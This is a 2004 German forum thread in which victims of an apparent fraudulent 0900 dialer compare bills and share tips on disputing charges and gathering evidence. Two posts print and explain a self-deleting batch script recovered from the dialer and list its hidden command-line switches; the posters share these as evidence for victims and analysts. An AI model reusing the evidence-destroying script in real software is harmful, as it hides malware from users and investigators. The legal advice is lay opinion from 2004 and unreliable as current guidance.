hab der telekom gestern geschrieben: sie sollen den unstrittigen betrag abbuchen und die verbindungen (easybilling) nicht abbuchen. dann hab ich heut angerufen und gesagt, sie sollen mir schriftlich eine bestätigung schicken, in der drin steht, dass sie nur den unstrittigen betrag abbuchen sollen. die meinten auch, das schreiben ist bei ihnen eingegangen und sie leiten meine telefonischen forderungen weiter. ich hab leider im ersten brief vergessen, um eine schriftliche bestätigung zu bitten.
du meinst, ich sollte nochmal was hinschicken. oder?? dort sollte drin stehen, was sie abbuchen dürfen und was nicht plus eine forderung nach einer schriftliche bestätigung, dass sie das dann auch so machen. oder??
bin etwas durch den wind. 160 euro ist zu viel. morgen werde ich auch einen brief an die regTP schicken.


----------



## Der Jurist (4 Februar 2004)

*Re: Mr.Scrut*

@ Mr.Scrut


			
				Mr.Scrut schrieb:
			
		

> ...  Ich habe aber definitiv am 05.01. niemals JA eingegeben, es lief wie von vielen beschrieben automatisch ohne meinen Einfluss. Nach Schliessen des Fensters hat sich diesmal die Datei automatisch gelöscht.
> Im Forum habe ich auch gelesen, dass manche Dialer beim ersten Mal völlig automatisiert zuschlagen.
> Wie soll ich jetzt aber nachweisen, dass ich nicht damals auch JA eingegeben und bestätigt habe. ....


Erst mal hier lesen. http://forum.computerbetrug.de/viewtopic.php?t=2545

Der Dialer-Anbierter bzw. sein Netzknecht müsen Dir beweisen, dass Du mit Wissen und Wollen "Ok" bzw. "Ja" eingetippt hast.

So sehen es wenigstens sehr viel Amtsgerichte vgl www.dialerundrecht.de


----------



## Der Jurist (4 Februar 2004)

@ blumenwiese23

Warte erstmal ein paar Tage, ob die Telekom das alles bestätigt, allerdings nicht zu lange.

Erstmal verpusten.


----------



## Opfer (4 Februar 2004)

Der Jurist schrieb:
			
		

> Im Schreiben bitten den CDR - Call Data Record - herauszugeben, notfalls von Easybilling beschaffen.
> 
> Bei E. gibt es einen Datensatz, der Deine vollständige Nummer enthält und die übrigen auch.



Also ich soll die Dame bei der Telekom bitten, mir diesen CDR zu übermitteln ? Hab ich das richtig verstanden ? Weil, dann muss ich der nochmal ein Fax hinterher schicken, bzw. morgen früh anrufen.

Gruss
Opfer


----------



## Anonymous (4 Februar 2004)

RegTP schrieb:
			
		

> Wirkungsweise:
> 
> --------------------------------------------------------------------------------
> Reg.-Nr.: 90090000264-734884 vom : Dec 9 2003 10:20AM
> ...


Das ist die Beschreibung, die EasyBilling als Vertretungsberchtigter in die Dialerdatenbank reingehackt hat - wie schon Counselor angemerkt hat, ein selbstlöschender Dialer, der dort nichts zu suchen hat! Siehe z. B. die Hashwertanzeige - das ist dann ja nur noch Käse, wenn der Hashwert nachtäglich garnicht mehr überpüft werden kann, eben weil sich Dialer von Haus aus selbst eleminiert.



			
				blumenwiese23 schrieb:
			
		

> so, mich hat es auch erwischt. sechs verbindungen a 25 euro. ich habe die nummer 090090000264.


Wann war eigentlich Deine Einwahl?


----------



## Der Jurist (5 Februar 2004)

Opfer schrieb:
			
		

> Der Jurist schrieb:
> 
> 
> 
> ...



Ja und Fax hinterherschicken mit einem  Sendebericht wie oben  beschrieben. Ich vermute, die rücken die Daten nicht heraus. Aber dann kann man dies dann später als Einrede im Prozess sehr gut benutzen.
"Hat bisheute noch nicht nachgewiesen, dass ... obwohl ich damit einverstanden war, den Nachweis durch Vorlage des CDR in vereinfachter Weise zu führen"


----------



## blumenwiese23 (5 Februar 2004)

*datum*

@anna
meine einwahlen waren am 11.01, 15.01 und 18.01. immer +/- eine minute. das ist für mich vorsätzlicher betrug. vorallem erfüllen easy billing fast keine regeln wie z.B. transparenz, bestätigung durch ausfüllen eines feldes mit ok, usw, die von der regTP gemacht worden sind. man muss denen doch an den karren fahren können!!? als student mit wenig geld bestätige ich doch nicht 6mal, wenn mich die minute 25 euro kostet. 
easy billing hätte mich ja auch länger drin lassen könne wie eine minute. 
außerdem ist es schon sehr seltsam: wenn ich immer nur eine minute drin war mit einem analogen modem. da brauch ich doch schon fast eine  minute um rein zu kommen. und dann gleich wieder raus??? und das sechs mal?!!!
gruss
schicke heute noch brief an die regTP und einen weiteren brief an die telekom (hab das blanko-formular genommen) per einschreiben.


----------



## Anonymous (5 Februar 2004)

*Re: datum*



			
				blumenwiese23 schrieb:
			
		

> ...schicke heute noch brief an die regTP...


Nimm dabei doch Bezug auf den dort bereits anhängigen Vorgang: A000 531. Das würde unterstreichen, dass es sich bei "Deiner" Beschwerde nicht um eine Eintagsfliege handelt sondern das Problem zahlreiche Nutzer betroffen hat.


----------



## Tomdooly (5 Februar 2004)

@alle

Teleos hat sich gemeldet, mein Anschluß wird nicht gesperrt wegen der 75 Euro Klausel. 
Aber, sie behaupten ich soll die Beweise, dass es sich um einen illegalen Dailer handelt erbringen. 
Das Prüfprotokoll nach § 16 TKV hat ergeben, dass alles i.O. ist und es sich um eine 0190-Nummer handelt. Somit wären sie aus dem Schneider. 

Der Dailer ist bei der RegTP gelistet, wie kann ich jetzt beweise, dass er illegal ist? Was soll ich schreiben?


----------



## Anonymous (5 Februar 2004)

*090090000264*

Hallo, bin auch ein geschädigter, habe für 29 sec die Verbindung eingefangen, an die RegTP und an die Telekom geschrieben, man müßte.........
Bin mal gespannt was daraus wird. Ich werde rechtliche Schritte gegen die Jungs einleiten, falls nicht die RegTP rückwirkend den Dialer sperrt.

_Rechtlich bedenkliche Äußerungen gelöscht tf/Moderator_


----------



## Anonymous (5 Februar 2004)

Hallo zusammen,

Ich habe das selbe Problem mit dem Dialer. Nachdem ich der Telekom ein Fax geschickt habe, haben die mir nur die tatsächlichen Kosten abgebucht  . Nun kam allerdings gestern ein Brief von der Telekom in dem  steht das es sich bei dem Dienst von Easybilling um kein unseriöses Angebot handelt, und ich die 29,95 € (1 Einwahl 3sec) bezahlen soll.

Nun meine Frage: hat sich Easybilling schon bei irgend jemand gemeldet um das Geld zu bekommen?
überweisen werd ich die Kohle jedenfalls nicht...


----------



## Anonymous (5 Februar 2004)

*Zahlen?*



			
				Tomdooly schrieb:
			
		

> Der Dailer ist bei der RegTP gelistet, wie kann ich jetzt beweise, dass er illegal ist? Was soll ich schreiben?


 Aber doch wohl erst nach dem Einwahlzeitpunkt! Damit keine Zahlungspflicht. Wenn das die Telefongesellschaft weiß und trotzdem mit Sperrung droht, wäre das rechtswidrig und ein empfindliches Übel, und weil Zahlen dem eigenen Vermögen einen Nachteil zufügt, könnte man das als versuchte Erpressung auslegen...


----------



## Mr.Scrut (5 Februar 2004)

*Beweissicherung*

@ alle Geschädigten

Ich habe festgestellt, dass die web.exe in dem lokalen temp-Verzeichnis des User-Profiles (bei XP und 2000: C:\Dokumente und Einstellungen\Nutzer\Lokale Einstellungen\Temp) eine batch-Datei anlegt, die wahrscheinlich das Löschen übernimmt. Bei mir hatte sie den Namen: lcbj.bat mit folgendem Inhalt:

@echo off
:start
echo > %1
del %1
if exist %1 goto start
del %0

Ich nehme an, dass sich die Datei im Normalfall auch löscht. Vielleicht gibt es ja Leute, die diese Datei ebenfalls retten können. Sie wird auf jeden Fall von der web.exe erstellt. Ich habe diese entpackt und mit einem Hex-Editor betrachtet und eben diese batch-Befehle innerhalb der web.exe entdeckt. 
Somit habt ihr eventuell die Möglichkeit, Beweise zu sichern. Die batch-Datei hat aber nicht immer denselben Namen. Ich hatte beim Testen drei verschiedene Versionen immer im Muster ****.bat (vier Buchstaben). Der Inhalt war dserselbe.

Mr.Scrut


----------



## Anonymous (5 Februar 2004)

jo schrieb:
			
		

> Nun meine Frage: hat sich Easybilling schon bei irgend jemand gemeldet um das Geld zu bekommen?
> überweisen werd ich die Kohle jedenfalls nicht...




warum dort melden? das ist ein serviceprovider. meld dich bei DTAG oder wer treibt bei dri das geld ein?


----------



## Der Jurist (5 Februar 2004)

Tomdooly schrieb:
			
		

> @alle
> 
> Teleos hat sich gemeldet, mein Anschluß wird nicht gesperrt wegen der 75 Euro Klausel.
> Aber, sie behaupten ich soll die Beweise, dass es sich um einen illegalen Dailer handelt erbringen.
> ...




1. Bitte um Übersendung des Prüfprotokolls.

2. Hier lesen:  Beweislastumkehr


----------



## TSCoreNinja (6 Februar 2004)

*Re: Beweissicherung*



			
				Mr.Scrut schrieb:
			
		

> @ alle Geschädigten
> Ich habe festgestellt, dass die web.exe in dem lokalen temp-Verzeichnis des User-Profiles (bei XP und 2000: C:\Dokumente und Einstellungen\Nutzer\Lokale Einstellungen\Temp) eine batch-Datei anlegt, die wahrscheinlich das Löschen übernimmt. Bei mir hatte sie den Namen: lcbj.bat mit folgendem Inhalt:



Bestaetigung, Erklaerung und Ergaenzung:
@echo off  # nichts in einem Terminalfenster anzeigen
:start      #Label fuer goto start Anweisung
echo > %1   # Ueberschreibe Datei mit Namen %1 (1. Argument)
del %1      #Loesche sie
if exist %1 goto start  #wenn noch vorhanden, nach start 
del %0               #loesche bat Datei

Wird von web.exe mit zufaelligem Dateinamen 
(Win API Call KERNEL32.GetTickCount) erzeugt, und mit dem Namen der 
wcmd lcbj.bat c:\pfadnachwebexe\web.exe aufgerufen. Solange Web.exe ausgefuehrt wird, scheitert das Loeschen, weil benutzt, wenn Web.exe terminiert, ist sie weg. Ueberschreiben vermutlich, um ein "undelete" zu erschweren. 

Ferner verwendet die Datei verschiedene Kommandozeilenargumente. Experimentierfreudige Genossen sollten sich die Ergebnisse mal bei ausgezogner Telefonschnur anschauen

Win API Call KERNEL32.GetCommandLineA , dann wird auf folgende Strings getestet:

-pwd (Passwort?)
-usr (User Name?)
-web (schaltet Einwahldialog aus? :evil
-nospk (schaltet Modemlautsprecher aus?)
-fburl (?)
-url  (Webseite des Maehrwerts)
-cid  (Country ID?)



Gruesse,
TSCoreNinja

PS: Um diese Strings zu finden, muss die Datei (wie die meisten Dialer) mit upx entpackt werden (Programm hierfuer z.B. http://upx.sourceforge.net/)


----------



## Anonymous (6 Februar 2004)

hi leute mich hat es nun auch erwischt, genau am 31.12.03 , habe heute meinen wieder spruch bei der telekom abgegeben. zum glück wird nicht abgebucht. bin mal gespannt was daraus wird. 

ps: habe auch einen ansprechpartner von der telekom bekommen von easybilling mit telefonnummer
_Doppelposting gelöscht_


----------



## Anonymous (6 Februar 2004)

hallo, mich hat es eventuell auch heute erwischt, die telekom-verbindung wurde getrennt und eine andere verbindung hat sich aufgebaut, relax_c hiess sie. habe dummerweise nicht viel ahnung von computern, und weiss deswegen nicht, wo ich ein verbindungsprotokoll finden kann. ich habe eine tdsl flatrate, und benutze für die einwahl die t-online software.

kann jemand helfen??


----------



## Chips (6 Februar 2004)

*0900-Dialer*

Ich bin auch am 21.01.04 erwischt worden.Der Dialer hat die Nummer 090090000426 und hat genau wie bei fast allen anderen für 11sec 25,8190€ Netto abbuchen lassen.Über die Telekom habe ich folgende Adresse erhalten:Frank Tueting,24852 Eggebek,EasyBilling AG,Haupstr.4,Tel.:04609/953883.
Bei der Telekom habe ich Einspruch eingelegt und bei Reg TP habe ich auch ein Schreiben gefaxt.
Ich denke das sollte jeder tun,da man nur gemeinsam etwas dagegen tun kann.Wenn jeder das selbe Problem hat,müssen die ja irgendwann mal hellhörig werden.


----------



## Opfer (6 Februar 2004)

Seit dem 04.02.2004 ist ein weiterer Dialer bei der RegTP registriert der zu der von mir angegeben Nummer führt. Hmm...die sollen die Sperren, und nicht neue dazu machen...grml...

Opfer


----------



## Anonymous (6 Februar 2004)

gut dass es dieses forum gibt. habe auch schon beschwerden an sämtliche stellen geschickt, bin aber wie auch schon einige redner vor mir kein computerexperte. mein bruder allerdings meinte ich hätte glück, da ich keine isdn-karte eingebaut habe und somit keine verbindung aufgebaut werden kann, habe übrigens auch tdsl. wo man ein verbindungsprotokol findet weiss ich auch nicht. wäre mir aber auch hilfreich!


----------



## Opfer (6 Februar 2004)

@wagner: über ein altes Modem oder eine angeschlossene Telefonanlage (z.B Eumex) kann sich der Dialer genauso gut verbinden. Wirklich sicher kannst du nur sein, wenn am PC nicht weitere als der T-DSL Stecker angeschlossen ist, und nicht anderes was eine Verbindung aufbauen könnte.

Gruss
Opfer


----------



## TSCoreNinja (6 Februar 2004)

anna schrieb:
			
		

> Wie die Verbindung zustande gekommen ist, muss erst noch geprüft werden. Dazu steht es Dir selbstverständlich frei, eine Anzeige mit den erfordlichen Beweisen bei Deiner örtlich zuständigen Polizei zu erstatten. Mal eben zu behaupten, dass ein Vertoss vorliegen würde, ist rein Deine subjektive Ansicht des Sachverhalts - das muss erst noch bewiesen werden.


Ich denke mal, ein User weiss im Normalfall ziemlich genau, ob er einen Dialog vor sich hatte oder nicht, oder eventuell. Andere von dieser Tatsache zu ueberzeugen, ist sicherlich nicht immer einfach, insbesondere bei der Staatsanwaltschaft/Polizei. Weiss ich aus eigener Erfahrung...



			
				anna schrieb:
			
		

> Übrigens - wenn jemand seinen PC so eindringlich nach Beweisen untersucht hat, wie Du, dann hat derjenige i. d. R. bereits Veränderungen an der Dateienstruktur vorgenommen.
> Somit ist dieser PC als gerichtverwertbarer Beweis zumeist nicht mehr brauchbar und die Anzeige sollte von vornherein zu Einstellung verdammt sein.


Wenn die Originaldateien im "Temporary Internet Files" Ordner vorliegen, reichen diese in den meisten Faellen aus (Yup, IANAL, bzw I am not a lawyer). Insbesondere, da der Dialer sich anscheinend selbst loescht und ohne Einwahldialog einwaehlen kann.



			
				anna schrieb:
			
		

> Berufe Dich auf Deine bisherigen Erkenntnisse und nimm die Datenbank der RegTP als Deine stärkste Waffe gegen den evtl. unberechtigen Zahlungsanspruch. Ziehe Deinen Widerspruch zivilrechtlich durch.



Prima, also braucht Opfer nicht zahlen. Aber die Opfer, die dieses Forum nicht anschauen? Die Leute lachen doch, wenn ein paar Prozent der Geschaedigten sich erfolgreich zur Wehr setzen. Erst wenn etwas straf- oder wettbewerbsrechtliches passiert, hoeren die Leute damit auf.


----------



## Anonymous (6 Februar 2004)

TSCoreNinja schrieb:
			
		

> ...Erst wenn etwas straf- oder wettbewerbsrechtliches passiert, hoeren die Leute damit auf.


Keine Angst - die passende Antwort der RegTP wird derzeit erstellt.


----------



## Anonymous (7 Februar 2004)

anlage zu :
habe ein grosses Problem! Habe hier T-DSL Flatrate und nun eine nette Abrechnung über 2 Verbindungen zu 0900-90000261 erhalten, jeweils für ca. 20 Sekunden im netten Gesamtwert von ca. EUR 50,00 !!! Wie geht das bitte unter T-DSL??? Hab ich ein Modem??? NEIN! Hab ich eine ISDN-Karte??? NEIN! 

dann musst du ne isdn karte für fax oder ein altes gammeliges modem im pc haben. ein dialer wählt sich imho über ne telefonleitung ein. übers netzwerk kann er sich nicht anmelden. wie auch?


----------



## technofreak (8 Februar 2004)

um den Lesern des Forums das Suchen nach dem Orginalposting zum dem vorhergehenden Beitrag erleichtern
http://forum.computerbetrug.de/viewtopic.php?p=37939#37939


			
				Anonymous schrieb:
			
		

> Hallo liebe Leidgenossen,
> 
> habe ein grosses Problem! Habe hier T-DSL Flatrate und nun eine nette Abrechnung über 2 Verbindungen zu 0900-90000261 erhalten, jeweils für ca. 20 Sekunden im netten Gesamtwert von ca. EUR 50,00 !!! Wie geht das bitte unter T-DSL??? Hab ich ein Modem??? NEIN! Hab ich eine ISDN-Karte??? NEIN!
> 
> ...



im übrigen wurde der Thread aus dem das Posting stammt, wegen der schon in epischer Breite
 diskutierten DSL mit Dialereinwahlmöglichkeit geschlossen , da es dazu bereit einen
 entsprechenden Thread gibt. 
http://forum.computerbetrug.de/viewtopic.php?t=351
Es gibt  keinen Grund dies in diesem Thread fortzusetzen und neu aufwärmen,
da es absolut nichts mit dem eigentlichen Thema dieses Threads zu tun hat
tf


----------



## Anonymous (8 Februar 2004)

sorry das topic habe ich nicht gelesen  
 *alles zurücknehm*


----------



## blumenwiese23 (9 Februar 2004)

*easybilling*

hallo zusammen. hab jetzt alles erledigt. bin leider nicht zuhause um meinen briefkasten zu checken.
meine frage: hat sich easybilling eigentlich schon bei jemand zwecks zahlungsaufforderung, inkasso etc. gemeldet??
ich denke, easybilling spekuliert nur auf die leute, die die gebühren gleich mit der telekomrechnung bezahlen. die leute die zahlen, wollen die sache schnell beenden und wollen die rechnung diskret halten. komischerweise handelt es sich immer um verkraftbare aber doch ärgerliche summen. mich hat es 6 mal eingewählt. also 160 euro. der dialer hätte mich aber auch 20 mal einwählen können. mit einer rechnung von z.B. 2000 euro. macht er aber nicht. diese utopische summe zahlt keiner ohne gerichtsverhandlung. easybilling will mit der masse von leuten geld machen mit verkraftbaren summen, die aus scham oder diskretion gleich überweisen. 
wenn ich mir hier im forum mal die zahl der leute anschaue, die nicht zahlen wollen, ist das schon eine ganze menge. dann gibt es noch 100 andere foren mit nochmal so viele leute. der frank tüting wäre wohl das ganze jahr mit gerichtsverhandlungen beschäftigt, wenn er von jedem das geld wollte. 
ich glaube da kommt nicht mehr als die erste oder zweite mahnung. das wäre ein riesen logistischer aufwand und easy billing bräuchte eine ganze anwalts-staffel!!


----------



## Anonymous (9 Februar 2004)

*Matlock und Web.exe*

Hallo,

ich versuche gerade dem Matlock ein bischen näher zu kommen. Auf einem PC habe ich nun die web.exe scheinbar funktionsfähig gefunden. Die ist aber meiner Meinung nach für einen Dialer zu klein. Sie scheint diesen nur irgendwo her zu holen. Vielleicht ist da noch mehr da. Liege ich mit dieser Vermutung richtig? Wie heißen die anderen Dateien und wo finde ich die. Ich verfüge glücklicherweise über einige technische Möglichkeiten zum Suchen und möglicherweise Wiederherstellen von gelöschten Dateien.

B.


----------



## Bonnifaz (9 Februar 2004)

*Matlock oder web.exe*

eingentlich hatte ich mich angemeldet. War scheinbar zu langsam.

B.


----------



## Captain Picard (9 Februar 2004)

Anonymous schrieb:
			
		

> Auf einem PC habe ich nun die web.exe scheinbar funktionsfähig gefunden. Die ist aber meiner Meinung nach für einen Dialer zu klein.



wenn man die "überflüssigen" Bestandteile wie grafische Oberfläche und ähnlichen "Tand" 
wegläßt ist das ein "gestandener" Dialer. Bei Test hat er jedenfalls mühelos YAW trotz Warnung 
überwunden und sich einzuwählen versucht, was nur dank gezogener Strippe keinen Erfolg hatte   

cp


----------



## Opfer (10 Februar 2004)

So. Die tolle Telekom hat trotz der Briefe und allem den vollen Betrag abgebucht. Jetzt muss ich morgen also auf die Bank rennen, den Betrag zurückholen, den unstrittigen Betrag wieder hinüberweissen, und wieder einen Brief an die Telekom schicken mit Mitteilung das der überwiesene Betrag nicht auf alle Posten verteilt werden soll, richtig ? Langsam krieg ich nen Hals. Achso: Einen CDR hab ich auch (noch) nicht erhalten :|

Gruss
Opfer


----------



## Anonymous (10 Februar 2004)

anna schrieb:
			
		

> Opfer schrieb:
> 
> 
> 
> ...


Habe das selbe Problem auf meiner Telefonrechnung kann mir jemand genaueres zu dem thema sagen?  [email protected] 
danke schon im vorraus!!!

_E-Mail-Addi gelöscht , siehe NUB http://forum.computerbetrug.de/rules.php#10 
tf/mod _


----------



## Anonymous (10 Februar 2004)

*easybilling AG*

0  Hallo "Opferfreunde "

Tja heute heute hat mich eine Link direkt zur einer X Seite von 090090000422  geschubst ,  als ich dann das Fenster schliessen wollte blieb es und mein Computer fing an zu rasseln . Schnell habe ich anschliessend die Verbindnung getrennt , doch zu spät der Dialer hatte sich schon Sek. früher neu eingewählt . Die ganze Aktion hat mich insgesamt 20 Sek.  geokostet und bestimmt wirds bei der nächsten Telefonrechnung auch nicht besser. 

habe heute " versucht " meinen Rechner zu säubern ...
Und gleich die 0190 und 09009... Nummern bei der Telekom sperren lassen ... ( erst in 2 Tagen ) 

Siehe Downloads von www.dialerschutz.de

auF der X Seite von Easybilig  habe ich Hashwert , Version und Tel.nummer finden können, alles sieht so fast rechtlich korrekt aus. 


unter der Seite sind 2 Kästchen die bestätigt werden mussten , aber sobald man irgendwo auf das Fenster clickt ( auch um es zu schliessen) wird der Eintritt in eine Zahlungspflichtige Site  automatisch bestätigt  !!!!!!!!!!!


Da es schon erfahrenere Opfer hier gibt wollte ich wissen ob schon jemand eine Einstellung seiner Easybillingrechnung  erreicht hat ? 
Welche Schritte muss ich noch unternehmen ? 


Mögen J. M.   und sein Freund bald eine ehrenhaftere Arbeit finden .... selbst die Arbeitslosigkeit ist ehrenhafter . 


Grüsse , Pierre

*[Virenscanner: Namen abgekürzt]*


----------



## Anonymous (11 Februar 2004)

*Re: Ich bin auch ein Opfer*

Mein Beileid. Ich bin auch Opfer. Wiederum Easy Billing. 090090000264 mit Pauschalpreis 25,8190. Ansprechpartner dort Herr T.  wird mir morgen sicherlich Auskunft geben können. Ich denke jeder unschuldig betroffene sollte da nachfragen. Die Telekomm kann jedem denn jeweiligen Ansprechpartner nennen. Vielleicht kann man sich ja gütlich einigen, ansonsten wie unten werden die Anwälte dieses Landes arbeit bekommen.



			
				und noch ein Opfer schrieb:
			
		

> Am 13.01.2004 wurde auch ich Opfer des Dialers web.exe, jeoch unter der Nummer 090090000422 (Easy Billing AG, Betreiber Matlock). Innerhalb von 3 Minuten hat sich das Programm selbtstaendig und ohne Zustimmung 10x eingewählt, wobei eine Verbindung ca. 11 Sekunden lang gehalten wurde. Nach Recherche kommt nun eine Zahlung von über 300,- Euro auf mich zu, der ich natürlich widersprechen werde.  Nach Auskunft meines Rechtsanwaltes steht der Betreiber in der Beweispflicht, dass ich die Verbindung auch wirklich haben wollte. Na mal schauen...



*[Virenscanner: Namen und Telefonnummer entfernt]*


----------



## Rigo (13 Februar 2004)

Hallo Leute,also mich hat es letzten Monat auch erwischt.
Werde meine Rechnung der T zurückbuchen und nur den Unbestrittenen Betrag anweisen.
Jetzt habe ich aber soviel hier gelesen,und versuchte auch die diversen Schreiben die ich aufsetzen muss zusammenzusuchen.
Nur irgendwie geht keiner der Links,die auf irgend eine PDF zeigen sollen.

Mal anderst gefragt,jemand der hier erfolgreich einspruch einlegte.
Kann derjenige vielleicht mal genau zusamenstellen was man alles braucht z.B.:
Einzelverbindungsnachweis (Bekommt man soundso)
Anfrage an Regulierungsbehörde,bzw. beschwerde.
Rückbuchung usw.

evtl so als Tutorial,damit geschädigte hier einen Leitfaden haben den man überblicken kann.

Wäre sehr Dankbar,und würde auch dazu beitragen wenn es gewünscht ist.

Falls es diesen schon gibt,sorry.
Dann habe ich den wohl in den letzten 4 std. hier lesen überflogen.

P.s: Bei mir ist es allem anschein nach auch Easybilling und wurde über die TK-Anlage verbunden.Der Betrag ist 25,82 PRS T-Com.
Aussage der T ist das es sich hierbei um einen Rechtmässigen Dialer der bei der RegTP gelistet ist handelt.
Hier habe ich aber nie eine Verbindung bestätigt in der mir erklärt wurde das sie 25€ kostet.
Würde ich auch nie tun.
Der von der T kam mir dann gleich mit,Sie haben ja auch eine 0190 verbindung.Zweifeln sie diese auch an ?
Als ich ihm sagte das ich diese 30.-€ der 0190 nicht anzweifeln tue da ich mit einem Support Tel. der mir das aber vorher ansagte,und ich die Zeit mitschrieb um diese mit der T-Rechnung zu vergleichen und deis übereinstimmt.Meinte er nur,dann werden sie diesen Dialer wohl auch verwendet haben.
Nicht wirklich Hilfsbereit der Mensch,aber das es sich um Easybilling handelt konnte er mir sofort sagen.


Naja,nichts destotrotz.
Was ich brauche sind Informationen,wem ich alles ein Schreiben und Fax wohin schicken soll.
Bei der T-Rechnung habe ich bis jetzt raus,das ich diese Überweisen soll mit vermerk ohne PRS bezahlung !

Aber was fehlt mir noch alles ?
Würde mal sagen alles oder ?

mfg Rigo


----------



## Opfer (13 Februar 2004)

Aloah

Bei scheint es jetzt (hoffentlich) ein schnelles Ende gefunden zu haben. Nachdem ja die Telekom wieder der Korrespondenz doch den vollen Betrag abgebucht hatte, habe ich heut nochmals bei der Sachbearbeiterin angerufen. Nach einem etwas längeren Telefonat haben wir uns folgendermassen geeinigt:

Die Telekom erstattet mir den angezweifelten Betrag mit der nächsten Rechnung auf ihre Kosten. Allerdings unter der Vorraussetzung, das ich eine 0190/0900 Sperre einrichten lasse (6,66 € zzgl. USt. - lustige Zahl btw. ). Ausserdem wird mir eine Erklärung zugesand, das ich die Kosten nicht zu tragen habe und sich der Fall für mich erledigt hat.

Nun einerseits ist es natürlich erfreulich, daß ich endlich Rhe habe, andererseits ist es nicht ganz zufriedenstellend. Auf diese Art und Weise kommt die Easybilling und Matlock ja eigentlich mehr oder weniger ungeschoren davon. 
Zudem war das Gespräch ansonsten wenig aufschlussreich. Folgende "Fakten" habe ich jetzt mal zusammengestellt, und beruhen auf Aussage der Sachbearbeiterin. Deswegen lass ich die auch einfach mal Wertfrei so stehen:

- CDR (Call Data Rekord) wusste Sie nicht was das ist oder wo man den bekommt. Sie vermutete das man sich den selber von der Easybilling schicken lassen muss.
- Die Telekom ist nicht dafür verantwortlich was ein Mieter einer 0900er Nummer macht oder nicht. Sie kann auch nicht nachprüfen welcher Inhalt vermittelt wurde und ob ein Vertrag zustandegekommen war.
- Die Telekom muss davon ausgehen, daß wenn bei der RegTP Dialer gelistet sind, diese auch gültig sind. Ob nun mehrere Dialer unter der *selben* Nummer gelistet sind, und davon einer oder mehrere ungültig sind (was an sich schon ein Witz ist, das so etwas möglich ist), ist dabei egal.

Wie gesagt, 100%ig glücklich bin ich nicht mit dieser Vereinbarung, aber trotzdem irgendwie froh, das es sich so schnell erledigt hat. Komisch finde ich nur, warum mir nicht die Möglichkeit gegeben wird, mich mit der Easybilling selber über den strittigen Betrag auseinanderzusetzten. Naja, jetzt hoffe ich nur noch, das ich schnellstmöglich das Schreiben bekomme zwecks der Zahlungsbefreiung über den strittigen Betrag, und der Betrag auch wirklich mit der nächsten Rechnung gutgeschrieben wird.

Gruss
Opfer


----------



## blumenwiese23 (15 Februar 2004)

*nicht schlecht*

hallo opfer, tipps!!!!! was hast du der frau von der telekom erzählt??
du hast am anfang auch hingeschrieben, sie sollen nur den unstrittigen betrag abbuchen. dann haben sie doch alles abgebucht. dann hast du die buchung zurückgenommen und den betrag an die telekom überwiesen??
kannst mal aufzählen, was du alles gemacht hast?? wäre sehr hilfsreich.

gruss


----------



## Anonymous (15 Februar 2004)

*Re: Ich bin auch ein Opfer*



			
				und noch ein Opfer schrieb:
			
		

> Am 13.01.2004 wurde auch ich Opfer des Dialers web.exe, jeoch unter der Nummer 090090000422 (Easy Billing AG, Betreiber Matlock).



ich bin auch ein Opfer von 090090000422. 

Der Vorgang sah so aus:
1. Pop-Ups erscheinen
2. Die ersten lassen sich wegclicken aber der letzte bleibt hängen.
3. Bevor ich es gemerkt habe, hat der Dialer meine Verbindung abgebrochen und sich über 090090000422 eingewählt.
4. Habe nach web.exe u.ä. Dateien gesucht und es ist keine Spur von den Dialer zu finden

Wenn das kein Betrug ist, frage ich mich was Betrug ist...

Was kann man gegen den Betreiber machen?


----------



## Anonymous (15 Februar 2004)

*Re: Ich bin auch ein Opfer*



			
				Gast schrieb:
			
		

> Was kann man gegen den Betreiber machen?


 :bang:


----------



## blumenwiese23 (16 Februar 2004)

so, habe gerade bei der telekom angerufen. die haben nur den unstrittigen betrag abgebucht. zum glück. soll ich jetzt easy billing anschreiben und ihnen mitteilen, dass ich nicht bezahlen werde. oder soll ich abwarten, bis die sich melden. was ist da besser????

danke


----------



## Anonymous (16 Februar 2004)

*Easybilling-Betrug*

Hallo,
zähle mich auch zu Euch Geschädigten und habe viele längere Telefonate mit der Telekom und der Regulierungsbehörde hinter mir. Mir scheint es nach alledem am besten, die Telekom irgendwie davon zu überzeugen, nur den unstrittigen Betrag abzubuchen. Hier bekommt man von den Telekom-Leute widersrüchliche Aussagen, die ich hier nicht in epischer Breite wiedergeben möchte. Notfalls muß man wohl die Einzugsermächtigung sperren und selbst überweisen. Auf jeden Fall sollte man, wie hier schon oft beschrieben, schriftlich einen begründeten Einspruch gegen die Rechnung bei der Telekom einreichen. Ansonsten solte man nichts tun. Wenn Easybilling das Geld haben will, dann sollen sie es sich holen. Einer Klage kann man da meines Erachtens sehr gelassen entgegensehen.


----------



## Anonymous (16 Februar 2004)

blumenwiese23 schrieb:
			
		

> so, habe gerade bei der telekom angerufen. die haben nur den unstrittigen betrag abgebucht. zum glück. soll ich jetzt easy billing anschreiben und ihnen mitteilen, dass ich nicht bezahlen werde. oder soll ich abwarten, bis die sich melden. was ist da besser????
> 
> danke


Warte auf deren erstes Anschreiben, auch wenn es schwer fällt. Normalerweise sind solche kleinen Klitschen überhaupt nicht in der Lage eine Rechnung auf eigene Kasse zu erstellen, wenn die T-Com erstmal ausgebucht hat. Man verzichtet halt aus Kulanz, kommt eh nicht so sehr darauf an!


----------



## Opfer (16 Februar 2004)

*Re: nicht schlecht*



			
				blumenwiese23 schrieb:
			
		

> hallo opfer, tipps!!!!! was hast du der frau von der telekom erzählt??
> du hast am anfang auch hingeschrieben, sie sollen nur den unstrittigen betrag abbuchen. dann haben sie doch alles abgebucht. dann hast du die buchung zurückgenommen und den betrag an die telekom überwiesen??
> kannst mal aufzählen, was du alles gemacht hast?? wäre sehr hilfsreich.
> 
> gruss



Ich hab der guten Frau erklärt, dass der Dialer definitiv illegal war, und das ich hundertprozentig nicht bezahlen werde. Ich wollte eigentlich erreichen, dass die gute Frau den Betrag ausbucht, und ich mich persönlich mit Easy Billing beschäftigen kann. Komischerweise kam an diesem Punkt Ihr Angebot, die Telekom übernimmt das auf Ihre Kosten wenn ich die Sperre einrichten lasse. Ich muss sagen, das ich vieleicht teilweise etwas ungehalten gewirkt habe, was aber keinesfalls ein Tip sein soll, das genauso zu machen  Mein genauer Vorgang war jedenfalls so:

1. Dialer eingefangen.
2. Log Dateien zusammengesucht (Ereignissprotokoll und Eumex404 Protokoll).
3. Bei der Regulierungsbehörde Beschwerde eingelegt.
4. Der Telekom geschrieben dass sie auf der Abrechnung den strittigen Betrag nicht abbuchen sollen. Gleichzeitig das selbe mit der zuständigen Sachbearbeiterin so ausgemacht.
5. Bemerkt das doch alles abgebucht wurde, und nochmals mit der Frau telefoniert.
